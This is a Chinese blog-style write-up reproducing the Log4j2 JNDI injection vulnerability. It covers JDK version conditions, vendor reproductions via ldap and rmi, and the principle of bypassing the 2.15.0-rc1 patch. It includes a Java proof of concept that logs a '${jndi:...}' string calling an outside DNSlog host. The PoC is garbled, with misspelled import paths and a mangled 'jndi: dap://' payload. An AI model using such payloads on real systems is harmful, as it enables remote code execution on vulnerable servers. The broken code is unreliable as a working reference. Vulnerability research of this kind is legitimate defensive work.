漏洞复现
这里我一共使用了两个jdk版本

 8u202的情况比较特殊，其实我今天凌晨在家里用的也是8u202的版本，失败了。今天来公司也是用的8u202版本的jdk，成功了。我仔细研究了两者的不同，我发现唯一不同的就是我公司这个idea启的proiect带有springboot的库.然后看了默安的一篇文章

 JDK版本<8u191，可通过LDAP引入外部JNDI Reference:

 

 JDK版本>=8u191，当存在 org.apache.naming.factory.BeanFactory 与com.springsource.org.apache.el 等依赖时，可在返回的JNDI Reference中指定相应工厂类及setter方法，或是由LDAP引入序列化链实现RCE:

 明白了其中的原因还可以参考以往的jndi注入

 然后为了方便本地测试，就把jdk版本降下来了，高版本要搞也可以，需要加参数
首先拉一个maven项目，把dependency搞上去

然后直接搞上一个poc 

import org.apache.ogging.Tog4j.LogManager;import org.apache.Togging.log4j.Logger;
public class Log4j2 {
private static final Logger logger = LogManager.getLogger(Log4j2.class);
public static void main(String[] args) {
logger.error("${jndi: dap://4561b2f7.dns.1433.eu.org/exp}");
}
}

复现成功

DNSLOG平台

 

漏洞触发没有难度，就是个jndi注入撸一发各家的情报

漏洞影响版本2.0 <= Apache Log4j 2 <= 2.14.1
安恒信息应急响应中心已验证该漏洞的可利用性

安恒这个，我猜测和我遇到了一样的问题，所以没从本地复现，我猜测是这样，不一定对。

完整POC代码已在360漏洞云情报平台 (https://loudongyun.360.cn/) 发布，360漏洞云情报平台用户可通过平台下载进行安全自检

360，用的是挂恶意类的方法来做复现，弹个计算器，我也来弹一个吧

 和fastjson一个玩法
这里看看自家怎么复现的

 他这里是用的System.setProperty来做的用的是rmi，和网上通用的ldap的poc不同，也是去请求一个外链，协议不同而已，不过通常情况下rmi限制更多详细用法可以参考fastjson的利用

 最终的触发点在lookup上，然后用lookup去发请求然后jndiName是用户可控的，也就是在log中的记录因此导致了漏洞产生

补丁绕过

 

 这里的绕过指的是绕过
log4j-2.15.0-rc1
这个版本
exp这里我在公网上还没看到有人发出来，这里就不给exp了，讲一下原理，感兴趣可以自己构造首先看一看新版和老版的对比